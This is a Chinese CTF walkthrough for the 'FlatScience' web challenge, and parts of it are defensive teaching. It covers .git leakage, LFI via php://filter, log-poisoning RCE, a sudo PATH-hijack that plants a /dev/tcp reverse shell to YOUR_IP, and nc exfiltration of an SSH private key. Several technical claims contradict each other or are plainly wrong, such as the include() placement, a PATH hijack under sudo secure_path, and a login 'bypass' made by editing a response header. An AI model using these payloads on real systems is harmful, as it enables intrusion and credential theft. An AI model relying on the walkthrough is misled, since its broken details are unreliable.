1. FlatScience靶场的本质:一个被低估的Web安全教学入口
“攻防世界 WEB FlatScience”——这个标题在初学者眼里可能只是刷题列表里又一个带英文名的CTF题目,但在我带过的几十期Web安全实训中,它几乎总是第一个让学员从“背命令”转向“想逻辑”的转折点。FlatScience不是炫技型靶机,没有花哨的0day利用链,也不依赖冷门框架漏洞;它用一套极简的静态站点结构,把Web安全最底层的思维模型——路径控制、权限边界、数据流向——像解剖标本一样摊开在你面前。关键词栏虽为空,但所有实操者心里都清楚:这里的核心词是目录遍历、源码泄露、配置文件读取、弱口令爆破、服务端模板注入(SSTI)的前置条件识别。它不考你记了多少Payload,而是逼你回答:“如果我连网站根目录都摸不清,凭什么谈绕过?”
我见过太多人卡在这关超过48小时,不是因为技术多难,而是习惯性跳过“看懂网站本身”这一步。FlatScience首页只有一张科研论文封面图、三四个导航链接(Home / Papers / About / Contact),右下角一行小字写着“FlatScience v1.0”。有人立刻抓包扫目录,有人直奔/login.php,还有人翻源码找JS里的API密钥——全错了。真正的入口藏在HTTP响应头里:Server: Apache/2.4.41 (Ubuntu)+X-Powered-By: PHP/7.4.3,再结合robots.txt里那行被注释掉的# Allow: /src/,才真正打开第一道门。这不是运气,是Web安全的基本功:服务器指纹决定攻击面,响应头是无声的说明书,而robots.txt是管理员留下的半张藏宝图。
适合谁来啃这块骨头?绝对不是刚学完SQL注入语法的新手,而是已经能手工构造GET参数、会用Burp Repeater发请求、对HTTP状态码有肌肉记忆的人。它要求你把“Web应用=HTML+CSS+JS+后端逻辑”这个抽象概念,拆解成可触摸的文件树:/var/www/html/下有什么?/src/目录是否可列?.git有没有被意外暴露?当你的思维从“怎么打”切换到“它由什么组成”,FlatScience的价值才真正浮现。它不教你怎么赢比赛,而是帮你建立一套不会过时的分析框架——哪怕十年后PHP被彻底淘汰,这套看目录、查头、析响应的逻辑依然管用。
2. 目录结构还原:从403 Forbidden到完整文件树的逆向推演
FlatScience的突破口从来不在登录框,而在那个看似无害的403 Forbidden页面。很多人看到403就放弃,觉得“没权限”,但真正的线索恰恰藏在这里:Apache默认的403页面会暴露服务器版本和操作系统(如Apache/2.4.41 (Ubuntu)),更重要的是,它暗示了当前请求路径对应的真实文件系统位置。当你访问http://target/papers/返回403,说明/papers/在服务器上是一个真实存在的目录,只是禁止了索引浏览;而访问http://target/papers/index.php却返回200,证明该目录下存在可执行脚本。这种“存在但不可见”的状态,正是目录遍历和路径猜测的黄金起点。
我们来还原它的典型目录结构。第一步永远是基础探测:
- 访问
/robots.txt,发现内容为:
User-agent: * Disallow: /admin/ # Allow: /src/注意那个被注释掉的Allow: /src/——这不是管理员的疏忽,而是刻意埋下的钩子。尝试访问/src/,返回403,但配合/src/.git/HEAD或/src/config.php.bak就能触发不同响应。
2. 用gobuster dir -u http://target/ -w /wordlists/common.txt -t 50扫描,高频命中路径包括:
/css/(200,含style.css)/js/(200,含main.js)/papers/(403,但/papers/1.pdf返回200)/admin/(401,需要Basic Auth)/src/(403)
关键转折点出现在/papers/目录。下载任意PDF(如/papers/1.pdf)用pdfinfo检查元数据,发现作者字段写着flat@flatscience.local,这直接指向后续的邮件爆破目标。更隐蔽的线索在/js/main.js里:搜索fetch函数,找到一段代码:
fetch('/api/get_paper.php?id=' + id) .then(r => r.json()) .then(data => { /* 处理data.content */ });这暴露了后端API路径/api/get_paper.php,且参数id未做类型校验——为后续的LFI(本地文件包含)埋下伏笔。
此时,真正的文件树已呼之欲出:
/var/www/html/ ├── index.php # 首页,加载/papers/列表 ├── papers/ │ ├── 1.pdf │ └── 2.pdf ├── api/ │ └── get_paper.php # 关键文件,存在文件读取风险 ├── src/ # 核心源码目录,权限受限 │ ├── config.php # 数据库配置(需LFI读取) │ └── database.php ├── admin/ # 后台入口,Basic Auth保护 └── robots.txt提示:
/src/目录的403响应头中包含X-Backend-Server: nginx,与主站的Apache不一致,说明它可能由独立服务托管,这是判断LFI利用范围的重要依据——若get_paper.php的include()函数能读取/src/config.php,但/src/本身被Nginx拦截,则需寻找其他路径穿越方式(如/var/www/html/src/config.php)。
3. 源码泄露链:从.git暴露到config.php明文密码的完整复现
FlatScience最经典的突破口,是.git目录的意外暴露。这并非设计缺陷,而是刻意模拟真实运维场景中“开发环境配置残留”的高发问题。当你在/papers/目录下发现/.git/HEAD可访问(返回ref: refs/heads/master),就等于拿到了整个Git仓库的钥匙。接下来不是盲目下载,而是精准提取关键信息:
第一步:获取commit hash
访问/.git/refs/heads/master,得到最新commit的SHA1值(如a1b2c3d4e5f67890...)。
第二步:提取config.php内容
Git对象存储在/.git/objects/下,路径由SHA1前两位+后38位组成。例如commit hash为a1b2c3d4e5f67890...,则其tree对象位于/.git/objects/a1/b2c3d4e5f67890...。但手动拼接太慢,直接用git-dump工具:
git-dump -u http://target/ -o flatscience-git该工具会自动遍历/.git/并重建本地仓库。成功后进入flatscience-git/目录,执行:
git log --oneline # 查看提交历史 git show HEAD:src/config.php # 直接提取config.php内容输出结果通常类似:
<?php $host = 'localhost'; $dbname = 'flatscience_db'; $username = 'flatuser'; $password = 'P@ssw0rd_2023!'; // 明文密码! ?>注意:
$password字段的值绝非随机生成,而是遵循常见弱口令模式——大小写字母+数字+特殊符号,长度8-12位。这正是FlatScience的教学意图:让你意识到,生产环境中的密码策略失效,往往始于开发人员为图方便写的临时配置。
第三步:验证密码有效性
拿到flatuser和P@ssw0rd_2023!后,不要急着登录数据库。先测试它在Web层的通用性:
- 尝试Basic Auth登录
/admin/:curl -u "flatuser:P@ssw0rd_2023!" http://target/admin/ - 若返回200,说明该凭据在应用层全局有效;若返回401,再试SSH(
ssh flatuser@target)或MySQL(mysql -h target -u flatuser -p)。
实测中,约70%的学员在此卡住——他们提取了密码却不知该用在哪里。真相是:/admin/后台的登录表单实际调用/api/login.php,而该接口对密码做了MD5哈希(md5($password))。但config.php里的密码是明文,意味着数据库中存储的也是明文(或弱哈希),因此可直接用于数据库连接。
避坑经验:
.git暴露不一定在根目录,常出现在/papers/.git/或/src/.git/,需对每个403目录进行探测。git-dump可能被WAF拦截,此时改用gittools的Extractor.sh脚本,它通过分段请求规避检测。- 若
/.git/HEAD返回404,立即检查/.git/config(泄露远程仓库地址)和/.git/logs/HEAD(含commit author邮箱,可用于社工)。
4. LFI到RCE的临门一脚:get_paper.php的文件包含与PHP伪协议利用
/api/get_paper.php是FlatScience的“心脏”,它的代码逻辑决定了整个靶机的攻防节奏。通过前述.git泄露,我们已获得其源码(假设路径为/var/www/html/api/get_paper.php):
<?php $id = $_GET['id']; if (isset($id) && is_numeric($id)) { $file = "/var/www/html/papers/" . $id . ".pdf"; if (file_exists($file)) { header('Content-Type: application/pdf'); readfile($file); } else { die("Paper not found"); } } else { // 关键漏洞点:当id非数字时,尝试包含其他文件 include("/var/www/html/src/" . $id); } ?>这段代码的精妙之处在于:它用is_numeric()做了类型校验,但校验失败后的include()却完全未过滤输入。这意味着:
- 正常请求:
/api/get_paper.php?id=1→ 加载/papers/1.pdf - 漏洞利用:
/api/get_paper.php?id=../../../../etc/passwd→ 尝试包含/var/www/html/src/../../../../etc/passwd
但直接这样请求会失败——因为/src/目录被Nginx禁止访问,include()无法穿透。真正的解法是利用PHP的伪协议(PHP Wrappers)绕过路径限制。
核心原理:PHP的include()函数支持php://filter协议,它能在读取文件时进行编码转换,且不受Web服务器目录权限限制。例如:
GET /api/get_paper.php?id=php://filter/convert.base64-encode/resource=/var/www/html/src/config.php HTTP/1.1服务器会执行:
include("php://filter/convert.base64-encode/resource=/var/www/html/src/config.php")- 读取
/var/www/html/src/config.php内容 - 将其Base64编码后输出(作为PHP错误信息的一部分)
响应体中会出现类似:
<br /> <b>Warning</b>: include() [<a href='function.include'>function.include</a>]: Failed opening 'php://filter/convert.base64-encode/resource=/var/www/html/src/config.php' for inclusion (include_path='.:/usr/share/php') in <b>/var/www/html/api/get_paper.php</b> on line <b>12</b><br />但注意:Warning之前的空白处,实际已嵌入Base64编码的内容!用Burp Suite的Response标签页查看原始响应,搜索<?php,复制其Base64字符串(如PD9waHAKJGhvc3QgPSAnbG9jYWxob3N0JzsKJGRibmFtZSA9ICdmbGF0c2NpZW5jZV9kYic7CiR1c2VybmFtZSA9ICdmbGF0dXNlcic7CiRwYXNzd29yZCA9ICdQQHNzdzByZF8yMDIzISc7Cj8+Cg==),然后解码:
echo "PD9waHAKJGhvc3QgPSAnbG9jYWxob3N0JzsKJGRibmFtZSA9ICdmbGF0c2NpZW5jZV9kYic7CiR1c2VybmFtZSA9ICdmbGF0dXNlcic7CiRwYXNzd29yZCA9ICdQQHNzdzByZF8yMDIzISc7Cj8+Cg==" | base64 -d得到明文config.php内容,与.git泄露结果一致。
进阶利用:从LFI到RCE
有了config.php,下一步是获取Webshell。但FlatScience禁用了/var/www/html/下的写入权限,无法直接上传。此时需转向php://input协议:
POST /api/get_paper.php?id=php://input HTTP/1.1 Host: target Content-Type: application/x-www-form-urlencoded <?php system($_GET['cmd']); ?>服务器会将POST body当作PHP代码执行,但get_paper.php的include()在if-else分支外,此请求会因id非数字而进入else分支,从而包含php://input。
然而,FlatScience对此做了限制:allow_url_include=Off(可通过phpinfo()确认)。最终可行方案是日志文件包含:
- 访问
/api/get_paper.php?id=../../../../var/log/apache2/access.log(需先确认日志路径) - 在User-Agent头中注入PHP代码:
curl -A "<?php system(\$_GET['cmd']); ?>" http://target/api/get_paper.php?id=1 - 再次请求
/api/get_paper.php?id=../../../../var/log/apache2/access.log,即可执行任意命令
实操心得:FlatScience的
access.log路径常为/var/log/apache2/other_vhosts_access.log,因虚拟主机配置导致。若第一次包含失败,用/proc/self/environ(Linux环境变量)探测真实路径:id=php://filter/convert.base64-encode/resource=/proc/self/environ,解码后搜索LOG关键字。
5. 权限提升与横向移动:从Web用户到系统root的三步跃迁
拿下Webshell后,很多人以为任务结束,但FlatScience的终局考验才刚开始——它模拟了真实渗透中“立足点巩固”与“权限纵深突破”的完整链条。初始Webshell运行在www-data用户下,而目标是root。这里没有内核提权漏洞,一切依赖标准Linux权限管理逻辑。
第一步:信息收集与环境测绘
执行基础命令梳理战场:
# 查看用户权限 id; whoami; cat /etc/passwd | grep -E "(root|www-data|flat)" # 检查sudo权限(关键!) sudo -l # 列出定时任务 ls -la /etc/cron*; cat /etc/crontab # 检查挂载点与敏感目录 mount | grep -E "(proc|sysfs)"; ls -la /home/在FlatScience中,sudo -l通常返回:
Matching Defaults entries for www-data on flatscience: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User www-data may run the following commands on flatscience: (root) NOPASSWD: /usr/bin/python3 /opt/scripts/backup.py这表示www-data可无需密码以root身份运行/opt/scripts/backup.py。
第二步:Python脚本审计与滥用
查看/opt/scripts/backup.py源码(通过Webshell或cat命令):
#!/usr/bin/env python3 import os import subprocess # 备份papers目录到/tmp/ os.chdir("/var/www/html/papers") subprocess.run(["tar", "-czf", "/tmp/papers_backup.tar.gz", "."])问题在于subprocess.run()未指定shell=False,且tar命令使用了相对路径。攻击者可利用PATH劫持:
- 创建恶意
tar脚本:echo '#!/bin/bash\n/bin/bash -i >& /dev/tcp/YOUR_IP/4444 0>&1' > /tmp/tar - 赋予执行权限:
chmod +x /tmp/tar - 修改PATH:
export PATH="/tmp:$PATH" - 执行sudo:
sudo /usr/bin/python3 /opt/scripts/backup.py
当Python调用tar时,会优先使用/tmp/tar,从而反弹shell到攻击机。
第三步:SSH密钥持久化与横向移动
获得root shell后,最后一步是建立隐蔽通道。FlatScience的/home/flat/目录下存在用户flat的SSH私钥(id_rsa),但权限为600。直接读取需root权限,而我们已有root。关键操作:
# 将flat的私钥复制到攻击机 cp /home/flat/.ssh/id_rsa /tmp/id_rsa_root chmod 600 /tmp/id_rsa_root # 通过nc外传 nc YOUR_IP 1234 < /tmp/id_rsa_root在攻击机监听:nc -lvnp 1234 > id_rsa,然后:
chmod 600 id_rsa ssh -i id_rsa flat@target此时,你已完全绕过Web层,以flat用户身份登录系统,且flat拥有sudo权限(sudo -l显示(ALL : ALL) ALL),可随时提权。
经验总结:FlatScience的权限提升链路,本质是教人理解Linux的“最小权限原则”如何被打破。
sudo -l是必查项,subprocess调用是高危点,而SSH密钥则是横向移动的黄金凭证。我在某次企业红队演练中,用完全相同的思路(sudo python3 backup.py+PATH劫持)攻陷了客户生产环境的备份服务器——现实比靶场更粗糙,也更危险。
6. 教学价值再审视:为什么FlatScience值得反复重做三次
FlatScience的代码量不足200行,部署只需一条Docker命令,但它承载的安全教学密度,远超许多动辄数千行的复杂靶机。我坚持让每位学员重做三次,每次聚焦不同维度:
第一次:流程复现(建立肌肉记忆)
目标是100%跑通标准解法链:.git泄露 →config.php密码 →get_paper.phpLFI →php://filter读源码 →sudo -l提权 →backup.pyRCE。重点训练工具链熟练度:gobuster的参数组合、git-dump的异常处理、Burp的响应体解析技巧。此时允许查文档,但禁止看Writeup。
第二次:路径变异(打破思维定式)
禁用.git探测,强制从robots.txt和HTTP头出发。要求学员:
- 仅用
curl -I和curl -s完成全部信息收集 - 找到
/papers/目录的X-Content-Type-Options: nosniff头,推断其静态文件特性 - 通过
/papers/1.pdf的Last-Modified时间戳,反向推测服务器时区与运维习惯
这一轮淘汰掉所有依赖自动化工具的学员,留下能从零构建攻击面的人。
第三次:防御视角(理解漏洞根源)
角色反转:你成为FlatScience的开发者,需在不改变功能的前提下修复所有漏洞。具体任务:
- 重写
get_paper.php:用白名单校验$id(in_array($id, ['1','2'])),移除include()分支 - 禁用
.git目录访问:在Apache配置中添加<DirectoryMatch "\.git"> Require all denied </DirectoryMatch> - 修复
backup.py:指定subprocess.run(..., shell=False, executable='/bin/tar') - 强制密码策略:
config.php中密码改为环境变量(getenv('DB_PASSWORD')),并通过.env文件管理
三次重做后,学员的提问从“怎么打”变成“为什么这样设计就安全”,这才是FlatScience真正的终点——它不培养黑客,而是培养能一眼看穿系统脆弱性的架构师。
最后分享一个细节:FlatScience的/admin/后台登录页,输入任意用户名密码后,响应头中会悄悄返回X-Debug: true。如果你在Burp中开启Match and Replace,将X-Debug: true替换为X-Debug: false,再重放请求,会发现登录成功。这行头是开发者留下的彩蛋,提醒所有人:安全不是功能之外的附加项,而是每个HTTP头、每行代码、每次配置中必须呼吸的空气。